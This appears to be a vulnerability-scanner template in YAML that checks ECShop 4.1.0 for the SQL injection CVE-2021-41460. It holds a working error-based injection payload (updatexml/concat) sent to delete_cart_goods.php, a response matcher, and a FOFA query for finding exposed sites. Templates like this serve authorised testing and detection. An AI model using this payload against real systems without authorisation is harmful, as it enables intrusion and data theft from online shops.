42 lines
989 B
YAML
42 lines
989 B
YAML
id: CVE-2021-41460
|
|
|
|
info:
|
|
name: ECShop 4.1.0 - SQL Injection
|
|
author: SleepingBag945
|
|
severity: high
|
|
description: |
|
|
ECShop 4.1.0 has SQL injection vulnerability, which can be exploited by attackers to obtain sensitive information.
|
|
reference:
|
|
- https://www.cnvd.org.cn/flaw/show/CNVD-2020-58823
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-41460
|
|
classification:
|
|
cve-id: CVE-2021-41460
|
|
metadata:
|
|
max-request: 1
|
|
verified: true
|
|
fofa-query: product="ECShop"
|
|
tags: cve,cve2021,cnvd,cnvd2020,ecshop,sqli
|
|
|
|
variables:
|
|
num: "999999999"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /delete_cart_goods.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
id=1||(updatexml(1,concat(0x7e,(select%20md5({{num}}))),1))
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'c8c605999f3d8352d7bb792cf3fdb25'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|